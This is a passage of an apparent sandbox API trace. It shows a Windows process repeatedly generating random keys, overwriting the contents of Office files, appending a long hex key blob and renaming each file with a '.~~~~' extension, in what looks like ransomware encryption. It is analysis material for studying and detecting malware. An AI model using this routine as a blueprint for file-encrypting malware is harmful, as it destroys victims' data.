	[0132.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.697] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25268724181) returned 1
	[0132.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb888d030, dwHighDateTime=0x1d60e1e)) 
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823de8
	[0132.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823de8 | out: hHeap=0x300000) returned 1
	[0132.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.698] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.698] GetLastError () returned 0x0
	[0132.698] GetLastError () returned 0x0
	[0132.698] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.698] GetLastError () returned 0x0
	[0132.698] GetLastError () returned 0x0
	[0132.716] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8e2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.716] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x71e, lpOverlapped=0x0) returned 1
	[0132.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.718] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.718] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.718] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.719] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.719] CloseHandle (hObject=0x120) returned 1
	[0132.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Earthy.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\earthy.css.~~~~")) returned 1
	[0132.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.721] GetLastError () returned 0x0
	[0132.721] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.722] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.722] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.723] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25271286645) returned 1
	[0132.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb88d92f0, dwHighDateTime=0x1d60e1e)) 
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809958
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809958 | out: hHeap=0x300000) returned 1
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.724] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.724] GetLastError () returned 0x0
	[0132.724] GetLastError () returned 0x0
	[0132.724] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.724] GetLastError () returned 0x0
	[0132.724] GetLastError () returned 0x0
	[0132.726] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.726] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.728] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.728] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.729] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.729] CloseHandle (hObject=0x120) returned 1
	[0132.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f09b0
	[0132.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_off.gif.~~~~")) returned 1
	[0132.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f09b0 | out: hHeap=0x300000) returned 1
	[0132.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.731] GetLastError () returned 0x0
	[0132.731] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.733] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.733] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.733] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25272303282) returned 1
	[0132.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb88d92f0, dwHighDateTime=0x1d60e1e)) 
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823e20
	[0132.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823e20 | out: hHeap=0x300000) returned 1
	[0132.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.734] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.734] GetLastError () returned 0x0
	[0132.734] GetLastError () returned 0x0
	[0132.734] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.734] GetLastError () returned 0x0
	[0132.735] GetLastError () returned 0x0
	[0132.736] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.736] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.738] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.738] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.738] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.738] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.739] CloseHandle (hObject=0x120) returned 1
	[0132.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f1d18
	[0132.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\tab_on.gif.~~~~")) returned 1
	[0132.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1d18 | out: hHeap=0x300000) returned 1
	[0132.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.740] GetLastError () returned 0x0
	[0133.032] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.033] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0133.033] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0133.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.033] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25302342579) returned 1
	[0133.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8bd2e70, dwHighDateTime=0x1d60e1e)) 
	[0133.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809c68
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809c68 | out: hHeap=0x300000) returned 1
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.034] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.034] GetLastError () returned 0x0
	[0133.035] GetLastError () returned 0x0
	[0133.035] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.035] GetLastError () returned 0x0
	[0133.035] GetLastError () returned 0x0
	[0133.037] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffc86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.037] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x37a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x37a, lpOverlapped=0x0) returned 1
	[0133.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.040] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.040] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.040] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.040] CloseHandle (hObject=0xc4) returned 1
	[0133.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6e28
	[0133.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif.~~~~")) returned 1
	[0133.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6e28 | out: hHeap=0x300000) returned 1
	[0133.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.042] GetLastError () returned 0x0
	[0133.043] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2908070) returned 1
	[0133.044] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0133.044] CryptReleaseContext (hProv=0x2908070, dwFlags=0x0) returned 1
	[0133.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0133.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.044] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25303449454) returned 1
	[0133.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb8bd2e70, dwHighDateTime=0x1d60e1e)) 
	[0133.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809c30
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809c30 | out: hHeap=0x300000) returned 1
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.045] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0133.046] GetLastError () returned 0x0
	[0133.046] GetLastError () returned 0x0
	[0133.046] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0133.046] GetLastError () returned 0x0
	[0133.046] GetLastError () returned 0x0
	[0133.048] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe506, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.049] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1afa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1afa, lpOverlapped=0x0) returned 1
	[0133.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.051] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.052] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.052] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.052] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.052] CloseHandle (hObject=0xc4) returned 1
	[0133.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
